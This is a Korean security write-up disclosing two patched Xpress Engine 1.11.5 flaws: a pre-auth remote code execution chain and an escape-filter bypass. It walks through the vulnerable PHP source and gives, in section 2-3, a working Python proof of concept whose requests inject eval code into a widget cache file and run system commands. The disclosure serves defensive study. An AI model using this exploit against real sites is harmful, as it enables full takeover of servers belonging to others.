Xpress Engine 취약점 설명

1. 개요

본 글에서는 2019년 10월 패치Xpress Engine(이하 XE)의 Pre-Auth RCE, URL 필터 우회 2개 취약점에 대해 설명합니다. (XEVE-19-008, XEVE-19-009)

웹 어플리케이션에서 발생하는 Pre-Auth RCE 취약점은 웹 서비스의 유효한 접근 권한 없이 원격에서 웹 서버를 장악할 수 있는 보안 취약점입니다.

URL 필터 우회 취약점 역시 XSS 공격으로 발전하여 RCE(Remote Code Execution)에 이용되거나, 세션 탈취, 피싱 등으로 발전할 수 있는 위험도가 높은 보안 취약점입니다.

해당 문제점들은 엔키의 김용진 연구원이 발견 후 보고하여 XE 1.11.6 버전에서 패치되었습니다.

XE는 LGPL 라이센스를 따르는 국내 개발된 CMS(Content Management System) 소프트웨어로 2009년 배포를 시작한 이후 현재까지 2,192,249번 이상 다운로드된 유명 오픈소스 CMS 중 하나입니다. 숙련된 프로그래밍 기술 없이도 홈페이지, 블로그 등의 서비스를 개발할 수 있어 국내의 다수 쇼핑몰, 커뮤니티 사이트가 XE를 이용해 제작되었습니다.

2. Pre-Auth RCE

Pre-Auth RCE 취약점은 서로 다른 2개의 취약점으로 구성됩니다. 각각의 취약점 근본 원인과 공격이 가능한 원리를 설명합니다. 아래의 Dockerfile을 이용해 테스트 환경을 구성할 수 있습니다.

FROM php:7.2-apache
ADD https://github.com/xpressengine/xe-core/releases/download/1.11.5/xe.1.11.5.tar.gz /var/www/html
WORKDIR /var/www/html
RUN tar xf xe.1.11.5.tar.gz
RUN chmod 707 /var/www/html
RUN sed -i 's/http:\/\/deb.debian.org\/debian/http:\/\/mirror.kakao.com\/debian/g' /etc/apt/sources.list
RUN apt update && apt -y install libpng-dev default-mysql-server
RUN docker-php-ext-install gd mysqli
RUN a2enmod rewrite
RUN service mysql start
CMD apache2ctl start && /usr/sbin/mysqld --skip-grant-tables --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock

2-1. 위젯 캐시 기능의 파라미터 필터링 부재

function dispWidgetInfo() { // If people have skin widget widget output as a function of the skin More Details if(Context::get('skin')) return $this->dispWidgetSkinInfo(); // Wanted widget is selected information $oWidgetModel = getModel('widget'); $widget_info = $oWidgetModel->getWidgetInfo(Context::get('selected_widget')); Context::set('widget_info', $widget_info); // Specifies the widget to pop up $this->setLayoutFile('popup_layout'); // Set a template file $this->setTemplateFile('widget_detail_info'); }

widgetModel 클래스는 modules/widget/widget.view.php 소스 파일에 구현되어 있습니다. 해당 클래스의 dispWidgetInfo 메소드는 위젯의 속성을 설정하는 역할로 메소드 코드의 27번 라인에서 위젯 모델 인스턴스로부터 getWidgetInfo 메소드를 호출하여 위젯 정보를 얻고 있습니다.

이때 파라미터 selected_widget 값을 메소드의 호출 인자로 사용되는 것을 알 수 있습니다.

function getWidgetPath($widget_name) { $path = sprintf('./widgets/%s/', $widget_name); if(is_dir($path)) return $path; return ""; }
function getWidgetInfo($widget) { // Get a path of the requested module. Return if not exists. $widget_path = $this->getWidgetPath($widget); if(!$widget_path) return; // Read the xml file for module skin information $xml_file = sprintf("%sconf/info.xml", $widget_path); if(!file_exists($xml_file)) return; // If the problem by comparing the cache file and include the return variable $widget_info $cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType()); if(file_exists($cache_file)&&filemtime($cache_file)>filemtime($xml_file)) { @include($cache_file); return $widget_info; } // If no cache file exists, parse the xml and then return the variable. $oXmlParser = new XmlParser(); $tmp_xml_obj = $oXmlParser->loadXmlFile($xml_file); $xml_obj = $tmp_xml_obj->widget; if(!$xml_obj) return; $buff = '$widget_info = new stdClass;'; if($xml_obj->version && $xml_obj->attrs->version == '0.2') { // Title of the widget, version $buff .= sprintf('$widget_info->widget = "%s";', $widget); $buff .= sprintf('$widget_info->path = "%s";', $widget_path); $buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body); $buff .= sprintf('$widget_info->description = "%s";', $xml_obj->description->body); $buff .= sprintf('$widget_info->version = "%s";', $xml_obj->version->body); sscanf($xml_obj->date->body, '%d-%d-%d', $date_obj->y, $date_obj->m, $date_obj->d); $date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d); $buff .= sprintf('$widget_info->date = "%s";', $date); $buff .= sprintf('$widget_info->homepage = "%s";', $xml_obj->link->body); $buff .= sprintf('$widget_info->license = "%s";', $xml_obj->license->body); $buff .= sprintf('$widget_info->license_link = "%s";', $xml_obj->license->attrs->link); $buff .= sprintf('$widget_info->widget_srl = $widget_srl;'); $buff .= sprintf('$widget_info->widget_title = $widget_title;'); // Author information if(!is_array($xml_obj->author)) $author_list[] = $xml_obj->author; else $author_list = $xml_obj->author; for($i=0; $i < count($author_list); $i++) { $buff .= '$widget_info->author['.$i.'] = new stdClass;'; $buff .= sprintf('$widget_info->author['.$i.']->name = "%s";', $author_list[$i]->name->body); $buff .= sprintf('$widget_info->author['.$i.']->email_address = "%s";', $author_list[$i]->attrs->email_address); $buff .= sprintf('$widget_info->author['.$i.']->homepage = "%s";', $author_list[$i]->attrs->link); } } else { // Title of the widget, version $buff .= sprintf('$widget_info->widget = "%s";', $widget); $buff .= sprintf('$widget_info->path = "%s";', $widget_path); $buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body); $buff .= sprintf('$widget_info->description = "%s";', $xml_obj->author->description->body); $buff .= sprintf('$widget_info->version = "%s";', $xml_obj->attrs->version); sscanf($xml_obj->author->attrs->date, '%d. %d. %d', $date_obj->y, $date_obj->m, $date_obj->d); $date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d); $buff .= sprintf('$widget_info->date = "%s";', $date); $buff .= sprintf('$widget_info->widget_srl = $widget_srl;'); $buff .= sprintf('$widget_info->widget_title = $widget_title;'); // Author information $buff .= '$widget_info->author[0] = new stdClass;'; $buff .= sprintf('$widget_info->author[0]->name = "%s";', $xml_obj->author->name->body); $buff .= sprintf('$widget_info->author[0]->email_address = "%s";', $xml_obj->author->attrs->email_address); $buff .= sprintf('$widget_info->author[0]->homepage = "%s";', $xml_obj->author->attrs->link); } // Extra vars (user defined variables to use in a template) $extra_var_groups = $xml_obj->extra_vars->group; if(!$extra_var_groups) $extra_var_groups = $xml_obj->extra_vars; if(!is_array($extra_var_groups)) $extra_var_groups = array($extra_var_groups); foreach($extra_var_groups as $group) { $extra_vars = $group->var; if(!is_array($group->var)) $extra_vars = array($group->var); if($extra_vars[0]->attrs->id || $extra_vars[0]->attrs->name) { $extra_var_count = count($extra_vars); $buff .= sprintf('$widget_info->extra_var_count = "%s";', $extra_var_count); for($i=0;$i<$extra_var_count;$i++) { unset($var); unset($options); $var = $extra_vars[$i]; $id = $var->attrs->id?$var->attrs->id:$var->attrs->name; $name = $var->name->body?$var->name->body:$var->title->body; $type = $var->attrs->type?$var->attrs->type:$var->type->body; $buff .= sprintf('$widget_info->extra_var->%s = new stdClass;', $id); if($type =='filebox') { $buff .= sprintf('$widget_info->extra_var->%s->filter = "%s";', $id, $var->type->attrs->filter); $buff .= sprintf('$widget_info->extra_var->%s->allow_multiple = "%s";', $id, $var->type->attrs->allow_multiple); } $buff .= sprintf('$widget_info->extra_var->%s->group = "%s";', $id, $group->title->body); $buff .= sprintf('$widget_info->extra_var->%s->name = "%s";', $id, $name); $buff .= sprintf('$widget_info->extra_var->%s->type = "%s";', $id, $type); $buff .= sprintf('$widget_info->extra_var->%s->value = $vars->%s;', $id, $id); $buff .= sprintf('$widget_info->extra_var->%s->description = "%s";', $id, str_replace('"','\"',$var->description->body)); $options = $var->options; if(!$options) continue; if(!is_array($options)) $options = array($options); $options_count = count($options); for($j=0;$j<$options_count;$j++) { $buff .= sprintf('$widget_info->extra_var->%s->options["%s"] = "%s";', $id, $options[$j]->value->body, $options[$j]->name->body); if($options[$j]->attrs->default && $options[$j]->attrs->default=='true') { $buff .= sprintf('$widget_info->extra_var->%s->default_options["%s"] = true;', $id, $options[$j]->value->body); } if($options[$j]->attrs->init && $options[$j]->attrs->init=='true') { $buff .= sprintf('$widget_info->extra_var->%s->init_options["%s"] = true;', $id, $options[$j]->value->body); } } } } } $buff = '<?php if(!defined("__XE__")) exit(); '.$buff.' ?>'; FileHandler::writeFile($cache_file, $buff); if(file_exists($cache_file)) @include($cache_file); return $widget_info; }

위젯 모델 클래스인 widgetModel 은 modules/widget/widget.model.php 소스 파일에 구현되어 있습니다.

widgetModel 클래스의 getWidgetInfo 메소드는 126 라인에서 동일 소스 파일에 구현된 getWidgetPath 메소드를 호출하여 $widget_path 변수를 초기화하고 있습니다. 초기화되는 문자열은 외부 입력 값에 영향을 받으며 ./widgets/EXTERNAL_INPUT/ 형태가 됩니다.

외부 사용자가 전달한 입력 값을 이용해 초기화된 $widget_path 변수는 getWidgetInfo 메소드의 179 라인에서 사용됩니다.

$buff .= sprintf('$widget_info->path = "%s";', $widget_path);

해당 코드는 위젯 캐시 PHP 스크립트를 동적으로 생성하는 역할을 합니다. 입력 값을 ";MALICIOUS_CODE;# 로 할 경우 $widget_info->path = “”;MALICIOUS_CODE;#"; 가 되어 원본 코드에 추가 PHP 코드를 삽입할 수 있습니다.

그러나 XE에 구현된 외부 입력 필터링으로 인해 위와 같은 방법으로 쉽게 공격이 되지 않습니다.

/** * Filter request variable * * @see Cast variables, such as _srl, page, and cpage, into interger * @param string $key Variable key * @param string $val Variable value * @param string $do_stripslashes Whether to strip slashes * @return mixed filtered value. Type are string or array */ function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false) { if(!($isArray = is_array($val))) { $val = array($val); } $result = array(); foreach($val as $k => $v) { $k = escape($k); if($remove_hack && !is_array($v)) { if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript')) { $result[$k] = escape($v); continue; } } if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0) { $result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v; } elseif(in_array($key, array('mid','search_keyword','search_target','xe_validator_id'))) { $result[$k] = escape($v, false); } elseif($key === 'vid') { $result[$k] = urlencode($v); } elseif(stripos($key, 'XE_VALIDATOR', 0) === 0) { unset($result[$k]); } else { $result[$k] = $v; if($do_stripslashes && version_compare(PHP_VERSION, '5.4.0', '<') && get_magic_quotes_gpc()) { if (is_array($result[$k])) { array_walk_recursive($result[$k], function(&$val) { $val = stripslashes($val); }); } else { $result[$k] = stripslashes($result[$k]); } } if(is_array($result[$k])) { array_walk_recursive($result[$k], function(&$val) { $val = trim($val); }); } else { $result[$k] = trim($result[$k]); } if($remove_hack) { $result[$k] = escape($result[$k], false); } } } return $isArray ? $result : $result[0]; }

외부 입력의 필터링 코드는 classes/context/Context.class.php 소스 파일에 구현된 Context 클래스에 있습니다. 해당 클래스는 파라미터와 환경 변수를 관리하는 역할을 합니다.

Context 클래스의 _filterRequestVar 메소드는 escape 함수로 외부 입력 값을 필터 합니다.

function escape($str, $double_escape = true, $escape_defined_lang_code = false) { if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str; $flags = ENT_QUOTES | ENT_SUBSTITUTE; return htmlspecialchars($str, $flags, 'UTF-8', $double_escape); }

escape 함수는 config/func.inc.php 소스 파일에 구현되어 있으며 PHP의 htmlspecialchars 함수로 위험한 데이터 입력을 막습니다.

결국 escape 함수 때문에 더블쿼터 문자열이 HTML Entity 값으로 치환되어 위젯 캐시의 원본 코드를 더블쿼터로 종결하고 PHP 코드를 추가하는 방법으로 공격이 불가합니다. 하지만 PHP에서 제공하는 Complex (curly) syntaxescape 함수 필터를 우회할 수 있습니다.

...
function getWidgetPath($widget_name)
{
    $path = sprintf('./widgets/%s/', $widget_name);
    if(is_dir($path)) return $path;

    return "";
}
...
function getWidgetInfo($widget)
{
    // Get a path of the requested module. Return if not exists.
    $widget_path = $this->getWidgetPath($widget);
    if(!$widget_path) return;
    // Read the xml file for module skin information
    $xml_file = sprintf("%sconf/info.xml", $widget_path);
    if(!file_exists($xml_file)) return;
    // If the problem by comparing the cache file and include the return variable $widget_info
    $cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());
...

필터 우회 외에 또 다른 문제점이 존재합니다. widgetModel 클래스의 getWidgetInfo 메소드는 위젯 캐시 생성 코드를 실행하기 이전 PHP의 is_dir, file_exists 함수를 호출해 위젯 모듈이 실제로 존재하는지 검사합니다.

때문에 취약한 코드 실행을 위해 임의 경로에 ${MALICIOUS_CODE} 이름의 디렉토리를 생성할 수 있는 추가 취약점이 필요합니다.

# linux
root@ubuntu:~# cd none_exists/../../../
-bash: cd: none_exists/../../../: No such file or directory

# windows
C:\Users\Administrator>cd none_exists/../../../
C:\>

하지만 윈도우의 경우 존재하지 않는 디렉토리에 대해 Directory Traversal이 가능하므로 추가 취약점 없이 공격이 가능합니다.

2-2. 임의 디렉토리 생성

취약점이 존재하는 RSS 모듈의 rssCotroller 클래스는 modules/rss/rss.controller.php 소스 파일에 구현되어 있습니다.

function triggerRssUrlInsert() { $oModuleModel = getModel('module'); $total_config = $oModuleModel->getModuleConfig('rss'); $current_module_srl = Context::get('module_srl'); $site_module_info = Context::get('site_module_info'); if(is_array($current_module_srl)) { unset($current_module_srl); } if(!$current_module_srl) { $current_module_info = Context::get('current_module_info'); $current_module_srl = $current_module_info->module_srl; } if(!$current_module_srl) return new BaseObject(); // Imported rss settings of the selected module $oRssModel = getModel('rss'); $rss_config = $oRssModel->getRssModuleConfig($current_module_srl); if($rss_config->open_rss != 'N') { Context::set('rss_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'rss')); Context::set('atom_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'atom')); } if(Context::isInstalled() && $site_module_info->mid == Context::get('mid') && $total_config->use_total_feed != 'N') { if(Context::isAllowRewrite() && !Context::get('vid')) { $request_uri = Context::getRequestUri(); Context::set('general_rss_url', $request_uri.'rss'); Context::set('general_atom_url', $request_uri.'atom'); } else { Context::set('general_rss_url', getUrl('','module','rss','act','rss')); Context::set('general_atom_url', getUrl('','module','rss','act','atom')); } } return new BaseObject(); }

RSS 설정 정보를 담는 $rss_config 변수는 43 라인의 코드에서 RSS 모델 인스턴스의 getRssModuleConfig 메소드를 호출해 초기화되며 이때 인자로 사용되는 $current_module_srl 변수는 파라미터 module_srl 값입니다.

Created with Raphaël 2.2.0modules/rss/rss.controller.php : rssController->triggerRssUrlInsertmodules/rss/rss.model.php : rssModel->getRssModuleConfigmodules/module/module.model.php : moduleModel->getModulePartConfigclasses/cache/CacheHandler.class.php : CacheHandler->getGroupKeyclasses/cache/CacheFile.class.php : CacheFile->putclasses/file/FileHandler.class.php : FileHandler->writeFileclasses/file/FileHandler.class.php : FileHandler->makeDir
function writeFile($filename, $buff, $mode = "w") { $filename = self::getRealPath($filename); $pathinfo = pathinfo($filename); self::makeDir($pathinfo['dirname']); ...
function makeDir($path_string) { if(self::exists($path_string) !== FALSE) { return TRUE; } if(!ini_get('safe_mode')) { @mkdir($path_string, 0755, TRUE); @chmod($path_string, 0755); } ...

이후 코드 실행 흐름에서 외부에서 입력 데이터가 PHP의 디렉토리 생성 함수인 mkdir까지 도달하게 됩니다.

function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false) { if(!($isArray = is_array($val))) { $val = array($val); } $result = array(); foreach($val as $k => $v) { $k = escape($k); if($remove_hack && !is_array($v)) { if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript')) { $result[$k] = escape($v); continue; } } if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0) { $result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v; } ...

HTTP 요청에 따른 외부 입력 값을 필터 하는 Context->_filterRequestVar 메소드에서는 파라미터의 키값이 srl로 끝나는 경우 데이터를 강제로 int형으로 변환합니다. 이 때문에 mkdir 함수에 임의의 문자열을 전달할 수 없습니다. 문자열이 입력될 경우 정수 값 0으로 치환되어 버립니다. (라인 1423)

하지만 강제 형 변환 이전에 실행되는 코드 1414 라인을 이용해 foreach 루프를 탈출할 수 있는 논리적 취약점이 존재합니다.

module_srl 값을 Arbitrary_Directory_Path/<script 와 같이 구성하면 1417 라인continue 코드가 실행되어 강제 형 변환 코드 실행을 피해 원하는 임의의 디렉토리를 생성할 수 있습니다.

2-3. 취약점 공격 PoC

from requests import get
cmd = 'id'
target = 'http://127.0.0.1/'

# step 1 : make directory
# /var/www/html/files/cache/${eval($_GET[0])}
get('{}?mid=board&module_srl=/../../../../../../${{eval($_GET[0])}}/%3Cscript'.format(target))

# step 2 : write cache
# /var/www/html/files/cache/widgets/content.ko.cache.php
get('{}?act=dispWidgetInfo&selected_widget=../files/cache/${{eval($_GET[0])}}/../../../widgets/content'.format(target))

# step 3 : remote code execute
print get('{}?act=dispWidgetInfo&selected_widget=../widgets/content&0=system($_GET[1]);&1={}'.format(target, cmd)).text.split('<!DOCTYPE html>')[0]

3. 필터링 우회

두 번째 취약점은 외부 입력 값을 필터링하는 escape 함수에 있습니다. 해당 함수는 config/func.inc.php 소스 파일에서 찾을 수 있습니다.

function escape($str, $double_escape = true, $escape_defined_lang_code = false) { if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str; $flags = ENT_QUOTES | ENT_SUBSTITUTE; return htmlspecialchars($str, $flags, 'UTF-8', $double_escape); }
function isDefinedLangCode($str) { return preg_match('!\$user_lang->([a-z0-9\_]+)$!is', trim($str)); }

escape 함수는 isDefinedLangCode 함수에 필터 대상 문자열을 전달해 조건이 성립되는 경우 htmlspecialchars 함수를 호출하지 않고 문자열을 그대로 리턴합니다.

이때 필터를 위한 정규식이 잘못되어 파라미터 끝에 $user_lang->0 문자열을 추가하여 필터를 우회할 수 있습니다.